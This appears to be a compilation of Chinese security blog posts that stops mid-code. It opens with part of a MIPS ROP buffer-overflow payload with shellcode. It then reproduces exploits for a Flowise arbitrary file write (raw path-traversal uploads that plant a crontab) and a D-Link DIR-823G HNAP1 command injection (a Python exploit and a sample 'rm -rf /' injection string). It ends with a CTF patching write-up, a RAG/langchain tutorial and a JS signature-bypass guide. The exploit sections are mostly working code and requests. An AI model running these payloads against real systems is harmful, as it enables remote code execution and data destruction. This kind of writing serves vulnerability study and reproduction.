shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404
payload="a"*508
payload+=p32(gadget2)
payload+="b"*0x58
payload+="cccc" #覆盖s0
payload+=p32(gadget3) #覆盖s1
payload+=p32(sleep)#覆盖s2,写入sleep
payload+=p32(gadget1)
payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
payload+=p32(gadget5)#覆盖$s0
payload+="aaaa"#覆盖$s1
payload+="aaaa"#覆盖$s2
payload+=p32(gadget4)#覆盖$ra
payload+="f"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
with open("stack_bof_02_pyload","w") as file:
file.write(payload)
这道题最重要的就是学到mipsrop链的构造。
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
漏洞简介
Flowise是一款与LangChain兼容的开源低代码工具,使普通用户和开发人员都能通过可视化连线方式创建LLM工作流和AI应用。然而该平台存在严重的文件上传漏洞——尽管Flowise实施了上传校验机制,攻击者仍可通过特殊编码绕过限制,实现任意目录的文件写入。这一安全缺陷使未经授权的攻击者能够上传恶意文件、脚本或SSH密钥,从而获取对托管服务器的远程控制权,对使用该平台构建AI代理的组织构成重大安全威胁。
漏洞复现
安装环境后构造上传的数据包
POST /api/v1/attachments/test/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
在服务器上查找上传文件的位置
再次构造数据包
POST /api/v1/attachments/..%2ftest/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
在服务器上再次查找文件位置
成功实现跨越目录的上传操作
进一步的进行利用的话 可以通过向定时任务中写入文件实现任意命令执行
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 657
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="root"
Content-Type: text/plain
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly
* * * * * echo "a" >> /tmp/test.txt
------WebKitFormBoundary7MA4YWxkTrZu0gW--
漏洞分析
在Flowise平台的核心架构中,通过constants.ts 文件定义了一系列无需认证即可访问的API端点,这些端点被归类为WHITELIST_URLS 。该设计允许特定功能(如API密钥验证、公共聊天流和文件操作等)在未经认证的情况下运行,以提高用户体验和系统灵活性。
Flowise-main/packages/server/src/utils/constants.ts
当服务器接收到新的HTTP请求时,其鉴权流程遵循严格的逻辑顺序:首先检查请求路径是否包含"/api/v1"前缀(不区分大小写);接着进行大小写敏感的路径验证;随后系统会判断该URL是否存在于预定义的白名单中。若请求路径已被列入白名单,则继续处理;否则,系统会进一步检查请求头中是否包含"internal"标记,或尝试验证API密钥。
Flowise-main/packages/server/src/index.ts
Flowise-main/packages/server/src/routes/attachments/index.ts
Flowise-main/packages/server/src/services/attachments/index.ts#createFileAttachment
/api/v1/attachments/ 路由下存在上传创建文件的操作
Flowise-main/packages/server/src/utils/createAttachment.ts#createFileAttachment
createFileAttachment 中会调用 addArrayFilesToStorage 来对文件进行处理
此时我们也可以看到对应的所有上传路由 /api/v1/attachments/:chatflowId/:chatId
Flowise-main/packages/components/src/storageUtils.ts#addArrayFilesToStorage
在 addArrayFilesToStorage 中对文件地址进行处理时,会将 chatflowId 和 chatId 未经处理也直接拼接到路径中,所以可以通过编码就直接绕过目录限制实现跨目录的上传。
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
前言
D-Link DIR-823G v1.02 B05存在命令注入漏洞,攻击者可以通过POST的方式往 /HNAP1发送精心构造的请求,执行任意的操作系统命令。
漏洞分析
binwalk提取固件,成功获取到固件。
现在我们已经进入到应用里了,那么我们在进行分析固件的时候,应该怎么去分析这个情况?首先,我们去分析别人的漏洞,别人是会告诉哪里会出现问题。但是我们现在假设我们是分析一个未知固件,我们就得先知道这个固件有哪些应用,启动了哪些服务,最清晰和简便的方式就是去看我们etc文件下面,里面有个叫init.d的目录,里面是关于启动项的内容。
我们首先来看rcS下面的内容 vim rcS
首先是设置ip,然后挂载了两个文件系统分别是proc,这是与进程相关的文件系统,包括当前进程启动存放在哪个地址。
还有ramfs文件系统,根据以前的笔记,可知ramfs文件系统跟RAM相关。
然后下面就是判断是否还有挂载别的文件系统。
然后mkdir就是创建各种各样的文件夹,都有对应的功能,比如说创建了pptp文件夹,针对拨号上网的功能,然后还有smbd服务,可以看到创建了一个usb的文件夹,说明该固件有可以跟usb也就是U盘相关的操作,接下来都是一些配置信息。
继续往下翻
可以看到该固件启动了web server的web服务,也就是httpd的内容,这里启动的是goahead,通过这个名字,我们可以确定web服务就是goahead,如果想要分析web服务的话,就直接分析goahead就可以。
我们回到squashfs-root目录下,搜索goahead的一些简单情况
grep -ir "goahead" .
最下面是两个启动项的内容,可以忽略,然后第一行是bin的可执行应用,这个其实就是我们最后分析的内容。
那如何分析呢?它是一个HNAP1请求,那就可以去检索我们的HANP1请求
grep -ir "HNAP1" .
可以看到它检索到一些js代码,js代码对我们来说一般,(比较我们是找二进制相关的漏洞)
但是,我们可以发现它匹配了一个二进制程序,也就是goahead。
这里我们先科普一下goahead的一些情况:
GoAhead ,它是一个源码,免费、功能强大、可以在多个平台运行的嵌入式WebServer。
goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数。
它在进行编写与它相关的请求,是通过websUrlHandlerDefine来确定的。
websUrlHandlerDefine(T("/HNAP1"),NULL,0, websHNAPHandler,0);
websUrlHandlerDefine(T("/goform"),NULL,0, websFormHandler,0);
websUrlHandlerDefine(T("/cgi.bin"),NULL,0, websCgiHandler,0);
使用ghidra进行逆向分析,goahead二进制文件在squashfs-root目录下的bin目录下
那进入到goahead反编译界面该如何分析呢?一种是找到main函数去进行分析,比较耗时
一种是通过关键字来搜索,反推调用情况,来推测每个功能的解析情况 ctrl+shift+E
匹配成功,停在指定区域
但是它所对应的反编译代码还是很多的,所以我们可以通过反编译出来的函数名,进行查看它的调用关系。
一路往下翻,终于找到我们所要的东西
而且我们看到,这个函数继续往上调的话就是main函数了,所以其实一开始也是可以从main函数来分析的(0.0)
所以现在我们可以重点来分析这个函数
前面还是做一些判断,然后请求还有不止HNAP1,对应的都是一个函数。
同一个函数做的事情,类似于websUrlHandlerDefine这个函数,那HANP1对应的函数是
FUN_0042383c,那就双击进去看看
这里就是漏洞点,这里执行了memset和snprintf,一般来说这里应该是不存在漏洞点,但是下面一条语句是system,也就是把格式化化的字符串直接就拿到了system函数作为参数传递进去,而snprintf这里的参数有个echo,有个单引号问题。
比如说正常代码
#!/bin/bash
read -p "Enter your name: " name
echo 'Hello, '$name'!'
攻击步骤:
正常输入:用户输入 Alice,输出:
Hello, Alice!
恶意输入:用户输入 '$(id)',此时脚本实际执行的命令变为:
echo 'Hello, ''$(id)'!'
输出:
Hello, $(id)!
单引号内的 $(id) 不会被执行,暂时安全。
更危险的输入:用户输入 ' && rm -rf / #,命令变为:
echo 'Hello, '' && rm -rf / #'!
此时,第一个单引号被用户输入的 ' 闭合。&& rm -rf / 成为独立命令,在 echo 之后执行。# 注释掉后续的 '!,避免语法错误。
那么会导致rm -rf / 会被执行,删除系统文件!
所以,如果我们构造一些恶意的代码写入到snprintf中,再传递到system函数,就会造成命令注入漏洞。
但是我们要进到漏洞点的话,还需要满足函数上面的一些要求。
所以我们得符合上面函数的一些限制才能进入到漏洞点来,这里先取了PTR_s_SetMultipleActions_00588d80的首地址,赋值给DAT_0058a6c4,然后DAT_0058a6c4自身判断和自加2来进行循环判断,用strstr函数查找DAT_0058a6c4在param_+0x524中出现的位置,并赋值给pcVar1,如果pcVar1的值不为0的话,就会进入到我们的漏洞点来。
DAT_0058a6c4与PTR_s_SetMultipleActions_00588d80相关,双击进去看看
可以看到里面都是它对应的一些方法,比如说SetMultipleActions之类的。
固件模拟
分析到这里,基本上是明朗了,接下来就要进行固件模拟操作,使用firmadyne模拟固件启动。
sudo ./DIR823G_V1.0.2B05_20181207.sh
然后firmadyne默认的密码就是firmadyne
得等一段时间,然后192.168.0.1
但是这个一直搞不定,模拟不起来,也不知道是什么原因,排查不出。
然后换成了firmware analysis plus (fap)这个框架,就模拟起来了
等一段时间后,回车,就可以模拟起来了,输入192.168.0.1
进入向导,随便输入点东西
密码8位,输入12345678
然后就开始配置一些内容,同时可以注意到左侧已经把一些数据写入到关键的文件夹中
配置完毕,登录,成功进入路由器
exp编写
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
ip='192.168.0.1'
command="'`echo aaaaaaaaa > /web_mtn/test.txt`'"
length=len(command)
headers=requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"]="text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"
payload=command
r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload)
因为是http请求,所以我们使用requests,然后设置ip,设置命令,构造报头,最后post请求将HNAP1,headers和payload都传过去。
复现完毕,ctrl+a 然后x结束固件模拟。
ApoorvCTF Rust语言逆向实战
上周参加了国外的比赛,名称叫:ApoorvCTF
看一下老外的比赛跟我们有什么不同,然后我根据国内比赛对比发现,他们考点还是很有意思的,反正都是逆向,哈哈哈
Rusty Vault
题目描述:
In the heart of an abandoned shrine, there's an old, rusted vault saidto guard an unspeakable secret. Many have tried to unlock it, but thedoor's demands are strange and no key seems to fit.
进入main函数,开始分析
这个命名方式,大概率是Rust语言
对于rust语言逆向,一般采用动态调试分析的方法
主要还是看汇编,因为F5根本看不出来啥东西。。。
从if比较处,可以看到成功和失败两个结果
那么这个比较绝对很关键
进入后发现,啥也没啊?
坏了,得看汇编,为代码估计又出问题了
发现了check2,果然为代码啥也看不到
对比check1-2
发现是在检测输入的字符串的字符类型,还是冲突的,不管了继续分析
下面可以看到失败
往下滑动可以看到成功
什么意思?
我猜测这题是改条件,然后动态输出flag?还有这好事
后面都是正常输出flag了
那么我们现在去解密的地方回溯,估计我要改一些判断,改变流程,让程序正常走到解密的地方,然后输出flag
教大家一个回溯方法
对标签疯狂X键,交叉引用定位回溯
最终定位到密文,发现是aes_128_cbc模式
需要:key+IV+密文=明文
这是一种思路,大家可以尝试
本文修改流程,让他自动输出明文
现在的思路就是:
x键回溯定位关键标签,修改关键判断
让程序自动走向解密
nop掉check1 和 check2
让他们走向自动解密的方向
最终运行程序得到flag,静态patch流程,绕过check1-chekc2
apoorvctf{P4tch_1t_L1k3_1t's_HOt}
这在我们国内比赛还是很少见到的,国内大概率要写脚本解密,或许国内认为加密才是CTF的重点。国外侧重逆向本身,如果可以patch修改流程得到flag,为什么要去写解密脚本呢?
锻炼了我们通过汇编分析程序流程的能力,而不是为代码一键分析。
给大模型通过RAG挂上知识库
前言
因为大模型的知识库存在于训练期间,因此对于一些最新发生的事或者是专业性问题可能会出现不准确或者是幻觉,因此可以使用RAG技术给大模型外挂知识库来达到精准回答的目的。
实操
gpt4all
可以参考之前的文章:https://mp.weixin.qq.com/s/jeGqX-XYJRm-pFYEfkw2lw
他的优点就是通过UI在线下载模型和导入知识库,操作都比较一站式、傻瓜式。注意的是gpt4all的模型文件和ollama不通用。
open-webui
安装可以参考https://mp.weixin.qq.com/s/jeGqX-XYJRm-pFYEfkw2lw,也比较简单就不多赘述。
先看下在没有知识库的情况下,咨询相关问题时得到的结果是错误的:
可以通过如下方式进行知识库的构建:
右上角-工作空间-知识库-新增知识库空间-上传知识库文件
这个时候再咨询知识库中存在的内容时就可以得到满意的结果(引用的方式是在输入框中输入#):
ima
https://ima.qq.com/ima是腾讯出品的AI+知识库的软件。创建知识库的流程为:
首先有个缺点,它竟然不能上传markdown。还有些其他BUG,比如明明存在知识库,但是却选择不了:
因为没法设置prompt,如果你想让大模型每次都只从知识库中搜索不要联想,那么就就需要每次在输入框中输入特定prompt告知不要胡乱回答,结果发现又是混元问题,问答模型改成deepseek后好点:
终于明白这些公司为什么要接deepseek了,因此自己公司的太差。
langchain+chroma
上面介绍的都是通过图形化的方式进行,但是在一些工程化的地方可能没法进行图形化操作,接下来介绍使用代码的方式来进行让大模型外挂知识库。把文档投喂给大模型时需要先对文档进行向量转换,这里以https://github.com/chroma-core/chroma 官方代码为例:
import chromadb
# setup Chroma in-memory, for easy prototyping. Can add persistence easily!
client = chromadb.Client()
# Create collection. get_collection, get_or_create_collection, delete_collection also available!
collection = client.create_collection("all-my-documents")
# Add docs to the collection. Can also update and delete. Row-based API coming soon!
collection.add(
documents=["This is document1", "This is document2"], # we handle tokenization, embedding, and indexing automatically. You can skip that and add your own embeddings as well
metadatas=[{"source": "notion"}, {"source": "google-docs"}], # filter on these!
ids=["doc1", "doc2"], # unique for each doc
)
# Query/search 2 most similar results. You can also .get by id
results = collection.query(
query_texts=["This is document1"],
n_results=2,
# where={"metadata_field": "is_equal_to_this"}, # optional filter
# where_document={"$contains":"search_string"} # optional filter
)
print(results)
上述代码含义是创建了一个集合,并且往集合中添加知识库,每个知识库都必须有自己的独立id。注意,chroma只支持传入文本不支持直接引用文件,因此想要把文件转成向量需要先把文件读取出内容给到chroma才行。
得到的内容如下:
{'ids': [['doc1', 'doc2']], 'embeddings': None, 'documents': [['This is document1', 'This is document2']], 'uris': None, 'data': None, 'metadatas': [[{'source': 'notion'}, {'source': 'google-docs'}]], 'distances': [[0.0, 0.2221483439207077]], 'included': [<IncludeEnum.distances: 'distances'>, <Inclu
其中distances代表是距离,笔者特地把搜索的问题和id为doc1的内容一致,因此可以看到得到的距离为0(距离越小,相似度越高),代表问题和文档一模一样,因此在后续投喂给大模型时,可以选择小于多少距离的投喂给大模型来解决token过长的问题。
接下来介绍https://github.com/langchain-ai/langchain,langchain功能和它的名字一样,简单理解就是它可以把各个东西和大模型串在一起,比如可以把上面chroma生成的文档向量投喂给大模型进行知识库问答。langchain牛逼的点是他做了很多第三方工具的集成,比如以langchains调用chroma生成向量数据库为例:
from langchain_ollama import OllamaEmbeddings
from langchain_chroma import Chroma
from uuid import uuid4
from langchain_core.documents import Document
embeddings = OllamaEmbeddings(model="nomic-embed-text:latest")
vector_store = Chroma(
collection_name="example_collection",
embedding_function=embeddings,
persist_directory="./chroma_langchain_db", # Where to save data locally, remove if not necessary
)
document_1 = Document(
page_content="I had chocolate chip pancakes and scrambled eggs for breakfast this morning.",
metadata={"source": "tweet"},
id=1,
)
document_2 = Document(
page_content="The weather forecast for tomorrow is cloudy and overcast, with a high of 62 degrees.",
metadata={"source": "news"},
id=2,
)
document_3 = Document(
page_content="Building an exciting new project with LangChain - come check it out!",
metadata={"source": "tweet"},
id=3,
)
document_4 = Document(
page_content="Robbers broke into the city bank and stole $1 million in cash.",
metadata={"source": "news"},
id=4,
)
document_5 = Document(
page_content="Wow! That was an amazing movie. I can't wait to see it again.",
metadata={"source": "tweet"},
id=5,
)
document_6 = Document(
page_content="Is the new iPhone worth the price? Read this review to find out.",
metadata={"source": "website"},
id=6,
)
document_7 = Document(
page_content="The top 10 soccer players in the world right now.",
metadata={"source": "website"},
id=7,
)
document_8 = Document(
page_content="LangGraph is the best framework for building stateful, agentic applications!",
metadata={"source": "tweet"},
id=8,
)
document_9 = Document(
page_content="The stock market is down 500 points today due to fears of a recession.",
metadata={"source": "news"},
id=9,
)
document_10 = Document(
page_content="I have a bad feeling I am going to get deleted :(",
metadata={"source": "tweet"},
id=10,
)
documents = [
document_1,
document_2,
document_3,
document_4,
document_5,
document_6,
document_7,
document_8,
document_9,
document_10,
]
uuids = [str(uuid4()) for _ in range(len(documents))]
vector_store.add_documents(documents=documents, ids=uuids)
results = vector_store.similarity_search_with_score(
"Will it be hot tomorrow?", k=1, filter={"source": "news"}
)
print("-----")
print(results)
print("-----")
for res, score in results:
print(f"* [SIM={score:3f}] {res.page_content} [{res.metadata}]")
print("-----")
上述代码意思是指生成10个文档,然后通过langchain内置的第三方模块能力把这10个文档写入到了example_collection集合中,且向量数据库持久化,保存的路径为chroma_langchain_db目录中,最后在向量数据库中以source为news、最接近的1个为条件文档中搜索问题:
接下来尝试使用langchain调用ollama进行与本地大模型进行沟通:
from langchain_ollama import ChatOllama
llm = ChatOllama(
model="deepseek-r1:latest",
temperature=0.5,
)
messages = [
(
"system",
"角色:你是IT小助手,你只回答IT相关问题,其他问题不回答。当别人问你是谁时,你回答:我是IT小助手。",
),
("human", "你是谁"),
]
ai_msg = llm.invoke(messages)
print(ai_msg)
上述代码通过设置system prompt来约束了大模型的输出:
上面提到chroma无法直接传入文件,因此langchian提供了https://python.langchain.com/docs/concepts/document_loaders/来实现读取不同类型的文件并输入给chroma。为了解决嵌入模型和大语言模型输入的的token限制,需要对文档进行分割,下面以读取txt文件为例,通过对内容进行分割,然后提供给嵌入模型转成向量并搜索相似度后,带入到大语言模型的上下文中进行提问:
from typing import Dict
import logging
from pathlib import Path
from langchain_ollama import ChatOllama
from langchain_core.prompts import ChatPromptTemplate
from langchain_ollama import OllamaEmbeddings
from langchain_text_splitters import RecursiveCharacterTextSplitter
from langchain_community.document_loaders import TextLoader
from langchain.chains import RetrievalQA
from langchain_chroma import Chroma
class VectorStoreQA:
def __init__(self,
model_name: str = "deepseek-r1:latest",
embedding_model: str = "nomic-embed-text:latest",
temperature: float = 0.5,
k: int = 4):
"""
初始化 QA 系统
Args:
model_name: LLM 模型名称
embedding_model: 嵌入模型名称
temperature: LLM 温度参数
k: 检索返回的文档数量
"""
# 配置日志
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)
self.k = k
# 初始化 LLM
self.llm = ChatOllama(
model=model_name,
temperature=temperature,
)
# 初始化 embeddings
self.embeddings = OllamaEmbeddings(model=embedding_model)
# 初始化向量存储
self.vector_store = Chroma(embedding_function=self.embeddings)
# 初始化 prompt 模板
# self.prompt = ChatPromptTemplate.from_messages([
# ("system", """你的任务是且只基于提供的上下文信息回答用户问题。要求:1. 回答要准确、完整,并严格基于上下文信息2. 如果上下文信息不足以回答问题,不要编造信息和联想,直接说:在知识库中我找不到相关答案3. 采用结构化的格式组织回答,便于阅读"""),
# ("user", """上下文信息:
# {context}
# 用户问题:{question}
# 请提供你的回答:""")
# ])
self.prompt = ChatPromptTemplate.from_messages([
("system", """上下文中没有相关资料的不要编造信息、不要从你历史库中搜索,直接说:在知识库中我找不到相关答案。"""),
("user", """上下文信息:{context}
用户问题:{question}
请提供你的回答:""")
])
def load_documents(self, file_path: str, chunk_size: int = 1000, chunk_overlap: int = 200) -> None:
"""
加载并处理文本文档
Args:
file_path: 文本文件路径
chunk_size: 文档分块大小
chunk_overlap: 分块重叠大小
"""
try:
# 验证文件
path = Path(file_path)
if not path.exists():
raise FileNotFoundError(f"文件不存在: {file_path}")
# 加载文档
loader = TextLoader(str(path))
docs = loader.load()
# 文档分块
text_splitter = RecursiveCharacterTextSplitter(
chunk_size=chunk_size,
chunk_overlap=chunk_overlap
)
splits = text_splitter.split_documents(docs)
# 添加到向量存储
self.vector_store.add_documents(documents=splits)
self.logger.info(f"成功加载文档: {file_path}")
except Exception as e:
self.logger.error(f"文档处理错误: {str(e)}")
raise
def get_answer(self, question: str) -> Dict:
"""
获取问题的答案
Args:
question: 用户问题
Returns:
包含答案的字典
"""
# 使用similarity_search_with_score方法获取文档和分数
docs_and_scores = self.vector_store.similarity_search_with_score(
query=question,
k=self.k
)
# 打印每个文档的内容和相似度分数
print("\n=== 检索到的相关文档 ===")
for doc, score in docs_and_scores:
print(f"\n相似度分数: {score:.4f}") # 保留4位小数
print(f"文档内容: {doc.page_content}")
print(f"元数据: {doc.metadata}") # 如果需要查看文档元数据
print("-" * 50) # 分隔线
# 提取文档内容用于后续处理
context = "\n\n".join(doc.page_content for doc, _ in docs_and_scores)
# 打印完整的prompt内容
print("\n=== 实际发送给模型的Prompt ===")
formatted_prompt = self.prompt.format(
question=question,
context=context
)
print(formatted_prompt)
print("=" * 50)
# docs = self.retriever.get_relevant_documents(question)
# 将文档内容合并为上下文
# context = "\n\n".join(doc.page_content for doc in docs)
# print(context)
# 创建chain并调用
chain = self.prompt | self.llm
response = chain.invoke({
"question": question,
"context": context
})
return response
def clear_vector_store(self):
"""清空向量存储"""
try:
self.vector_store.delete_collection()
self.vector_store = Chroma(embedding_function=self.embeddings)
self.logger.info("已清空向量存储")
except Exception as e:
self.logger.error(f"清空向量存储时发生错误: {str(e)}")
raise
# 使用示例
if __name__ == "__main__":
# 初始化 QA 系统
qa_system = VectorStoreQA(
model_name="deepseek-r1:latest",
k=4
)
# 加载文档
qa_system.load_documents("/tmp/1.txt")
# 提问
question = "猪八戒是谁?"
result = qa_system.get_answer(question)
print(result)
总结
如果只是想简单尝试下大模型+知识库,那么gpt4all和ima都可以,毕竟都是图形化点点点就行,如果想要去自定义一些模型或者本身依赖ollama运行模型的话,可以选择open-webui,其可以有更多的自定义能力,如果想要在工程化中使用,建议使用langchain+chroma。
安全测试中的js逆向实战
一、简介
对于常见的web或者h5的场景中,一些重要的系统都会对于参数或者敏感数据进行校验,防止被恶意篡改而利用。因此在安全测试过程中,对于一些越权、注入等测试,需要对参数值进行修改重放,那么这个过程是否能够成功第一步取决于是否可以搞定校验算法并成功绕过。因此本文主要介绍安全测试中常用的一些js逆向的技术手段。
当然对于web场景中安全测试会遇到的一些校验场景,一般包括如下两类:
1)请求参数签名验证
2)请求、响应内容加密
二、常见浏览器调试方法
js中校验算法的查找定位以及逆向分析,需要对浏览器中的部分功能模块熟练掌握,接下来对其中的面板功能、断点调试方法以及断点天机方法进行介绍。
2.1 浏览器面板功能
chrome浏览器中的面板包括元素、控制台、源代码、网络、性能、内存以及应用等多个。重点介绍常见面板功能。
元素(Elements):可以查看DOM结构、编辑CSS样式,用于测试页面布局和设计页面;
控制台(Console):执行JavaScript脚本,也可以通过Console和页面中的Javascript对象交互;
源代码(Sources):查看Web应用加载的所有文件;编辑CSS和JavaScript文件内容,包括如下:(page: 所有资源文件;filesystem: 关联本地文件;overrides:可以做文件替换,比如替换JS;代码段:可以编写脚本,影响页面,代码记录);
网络(Network):展示页面中所有的请求内容列表,能查看每项的请求头、请求行、请求体、时间线以及网络请求的瀑布图等信息;
性能(Performance):分析网页的性能表现,包括加载时间,CPU使用率、内存占用等。可以录制网页的运行过程,进行详细的性能分析;
内存(Memory):用于记录和分析页面占用内存的情况;
应用(Application):查看Web应用的数据存储情况;IndexedDB;WebSQL;本地和会话存储;Cookie;应用程序缓存图像字体和样式表等。
2.2 断点添加方式
js逆向分析中有一个非常重要的功能需要掌握,就是下断点,接下来对常用断点方式进行介绍。
1)点击关键代码进行进行断点:通过点击代码便可以下断点
2)XHR断点:执行比较靠后,距离加密函数相对较近,可以根据栈快速定位
点击+号后直接输入需要定位的接口地址即可
3)DOM事件断点:执行的比较靠前,距离加密函数比较远
在Chrome开发者工具的Elements标签页中,找到你想要设置断点的DOM元素,右键点击该元素,选择"Breakon"选项,然后根据需要选择以下三种断点之一:
Subtree Modifications:当该节点的子树发生变化时触发断点。
Attributes Modifications:当该节点的属性发生变化时触发断点。
Node Removal:当该节点被移除时触发断点
2.3 断点调试方法
通过设置断点,运行程序后就会断在设置好的断点处,这时就需要跟进代码执行,分析代码和数据的变化,梳理判断出校验的算法和逻辑,好进行利用。
图中红框依次功能如下:
跳过子函数(次态函数)执行(只在主函数内一步一步执行,不进入子函数内部)
进入子函数(次态函数)执行(在主函数内部一步一步执行,如果遇到子函数,会跳转到子函数内部一步一步执行)
跳出当前函数,回到调用位置
单步执行,会进入到函数内部 更加的细致
屏蔽断点
三、js逆向分析实战
了解了一些基础的调试操作内容,接下来针对js的逆向分析进行实操,本次主要以请求参数的签名验证和响应内容的加密两方面进行分析和绕过实战,这也是平时安全测试过程中最常见的两种场景。
3.1 请求参数签名验证实战
通过抓包可以看到该请求体中存在sign参数,值为一段数字字母
修改page内容,重新进行提交请求,返回错误,那么这时候想要测试注入等手法都是无法成功的,因为当重放是sign值是未变的,所以后端验证也是不通过的。接下来首先就需要找出sign的算法逻辑,尝试绕过后才可以进行测试。
3.1.1 算法分析
通过数据包分析判断为sign参数为参数校验,因此在调试解密直接搜索关键词sign=,成功在代码中查询到,
可以看到sign=Xt(a)这个方法,在此处点击下断点
通过断点可以看到Xt()方法中传入了n,n为一系列用户端数据和key值生成,
继续进入下一个函数调用,可以看到为Vt(),并传入了上边的t作为参数
查看Vt()方法实际名称为Et
进入Et函数,发现分别执行Rt->At->Tt三个方法,将最终执行完的结果返回。
三个方法具体内容也是在一起,依次进行执行,执行完Rt进入At执行
可以看到At中又包括Lt->Nt->Dt三个函数
依次进行下一个函数进行执行
进入Lt函数执行,可以发现大量循环操作等执行,如果没有太多意义可以跳出当前函数,进行下一个函数的执行
通用的执行方法进行Nt和Dt两个函数的执行和分析
当At函数执行完,可以看到返回了一串值
再进入Tt中执行
可以看出其实是一个字符串的对比操作
继续执行完Et后可以看出返回了遗传字符,应该就是我们的sign的值
继续跟进,可以看到对于这段值有做了一次大写的操作
完成后进行了返回
那这个时候也就分析完成了,我们可以确认Xt函数将入参执行完成后就会返回为sign用来做校验
在控制台获取传入的n值,并打印Xt(n)方法,额可以看到成功打印出我们需要的sign值
3.1.2 算法逆向绕过实战
通过上述的分析,可以看出该程序中的sign的获取是通过Xt()函数传入n值进行生成的,n为一个固定格式的用户的参数,那么便可以通过修改n的值生成sign来绕过校验了,接下来我们通过三种方法进行实操。
3.1.2.1 浏览器校验调用
抓包获取到详细数据包
修改参数重放失败
在获取到的n中将对应的参数page的值进行修改,打印Xt(n)生成一个新的sign
修改burp中的sign进行重放,成功获得数据,那么接下来便可以进行各类payload的参数测试了。
3.1.2.2 在线算法生成
通过该sign的值内容和长度可以初步判断出为md5加密所得,及Xt()方法为一个md5算法,因此利用在线md5平台,传入n的值,修改page参数重新生成大写的sign值
修改burp中的sign,成功重放
3.1.2.3 js代码补环境复用
通过算法分析可以看出主要调用Et()方法后进行一系列的函数调用,最后返回了需要的sign值,那么这时我们将该js中调用执行过的方法进行复制,在本地新建一个js,粘贴其中,最终打印Et()方法,Et中传入需要的值,也就是n,然后进行运行,如果存在报错缺少方法,缺哪个便去js中复制那个。
完成后执行该js文件,发现成功生成需要的值。
具体代码如下:
var St = 0;
function Et(s) {
return Tt(At(Rt(s)))
}
function At(s) {
return Dt(Nt(Lt(s), 8 * s.length))
}
function Tt(input) {
for (var t, e = St ? "0123456789ABCDEF" :
"0123456789abcdef", output = "", i = 0; i < input.length; i++)
t = input.charCodeAt(i),
output += e.charAt(t >>> 4 & 15) + e.charAt(15 & t);
return output
}
function Rt(input) {
for (var t, e, output = "", i = -1; ++i < input.length; )
t = input.charCodeAt(i),
e = i + 1 < input.length ? input.charCodeAt(i + 1) : 0,
55296 <= t && t <= 56319 && 56320 <= e && e <= 57343 &&
(t = 65536 + ((1023 & t) << 10) + (1023 & e),
i++),
t <= 127 ? output += String.fromCharCode(t) : t <= 2047 ?
output += String.fromCharCode(192 | t >>> 6 & 31, 128 | 63 & t) : t
<= 65535 ? output += String.fromCharCode(224 | t >>> 12 & 15, 128
| t >>> 6 & 63, 128 | 63 & t) : t <= 2097151 && (output +=
String.fromCharCode(240 | t >>> 18 & 7, 128 | t >>> 12 & 63, 128
| t >>> 6 & 63, 128 | 63 & t));
return output
}
function Lt(input) {
for (var output = Array(input.length >> 2), i = 0; i <
